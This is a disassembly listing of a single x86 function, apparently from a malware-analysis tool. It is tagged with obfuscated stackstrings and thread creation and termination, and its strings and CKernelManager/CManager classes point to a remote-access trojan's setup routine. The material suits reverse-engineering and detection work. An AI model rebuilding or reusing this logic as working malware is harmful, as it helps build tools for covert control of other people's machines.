Function at 0x10008050
Capabilities:
Contain obfuscated stackstrings
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1444
call fcn.1001b770
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x5c
lea eax, [ebp - 0x480]
push 0
push eax
call fcn.1000a170
add esp, 0xc
lea ecx, [ebp - 0x480]
call fcn.10001050
cmp dword [0x10026a04], 0
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
je 0x100081ab
push 0xfac
lea eax, [ebp - 0x142c]
push 0
push eax
call fcn.1000a170
add esp, 0xc
mov dword [ebp - method.CManager.virtual_0], vtable.CManager.0
lea eax, [ebp - 0x480]
mov dword [ebp - 0x1430], eax
lea eax, [ebp - 0x1434]
mov dword [ebp - 0x428], eax
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x142c], eax
mov dword [ebp - method.CKernelManager.virtual_0], vtable.CKernelManager.0
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x1444], 0x10003070
mov dword [ebp - 0x1440], 0
call esi
push 0
push 0
mov dword [ebp - 0x1438], eax
lea eax, [ebp - 0x1444]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x1438]
call ebx
push dword [ebp - 0x1438]
call edi
xor esi, esi
mov dword [ebp - method.CKernelManager.virtual_0], vtable.CKernelManager.0
cmp dword [ebp - 0x488], esi
jbe 0x10008193
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
nop
push 0xffffffffffffffff
push dword [ebp + esi*4 - 0x1428]
call ebx
push dword [ebp + esi*4 - 0x1428]
call edi
inc esi
cmp esi, dword [ebp - 0x488]
jb 0x10008170
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x142c]
mov dword [ebp - method.CManager.virtual_0], vtable.CManager.0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp dword [0x100278d8], 0
je 0x100081bf
push 0x10007fc0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push str.MUTEX_OBSFL
lea eax, [ebp - 0x424]
mov word [ebp - 0x424], 0x7325
push eax
push str.MUTEX_OBSFL
mov byte [ebp - 0x422], 0
call fcn.10002e10
push 0x400
lea eax, [ebp - 0x420]
mov dword [ebp - 0x20], 0x6e6e6f43
push 0
push eax
mov dword [ebp - 0x1c], 0x47746365
mov dword [ebp - 0x18], 0x70756f72
mov byte [ebp - 0x14], 0
call fcn.1000a170
push 0x400
lea eax, [ebp - 0x880]
push 0
push eax
call fcn.1000a170
push str.MUTEX_OBSFL
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x880]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x2c
lea eax, [ebp - 0x420]
lea edx, [ebp - 0x880]
push 0x400
push ecx
push eax
lea eax, [ebp - 0x20]
mov ecx, connect
push 1
push eax
call fcn.10006af0
add esp, 0x18
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1000831e
push 0x400
push eax
mov byte [ebp - 0x1438], al
lea eax, [ebp - 0x880]
push eax
mov dword [ebp - 0x1444], 0x6e6e6f43
mov dword [ebp - 0x1440], 0x47746365
mov dword [ebp - 0x143c], 0x70756f72
call fcn.1000a170
push str.MUTEX_OBSFL
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x880]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x1002699d
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x1002699d
push ecx
lea eax, [ebp - 0x1444]
push eax
lea edx, [ebp - 0x880]
call fcn.10006e20
add esp, 0x14
push 0
push 0
push 0
push 0
mov dword [ebp - 0x1444], 0x100079e0
mov dword [ebp - 0x1440], 0
call esi
push 0
push 0
mov dword [ebp - 0x1438], eax
lea eax, [ebp - 0x1444]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x1438]
call ebx
push dword [ebp - 0x1438]
call edi
push 0xffffffffffffffff
push esi
call ebx
push esi
call edi
lea ecx, [ebp - 0x480]
call fcn.10001160
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret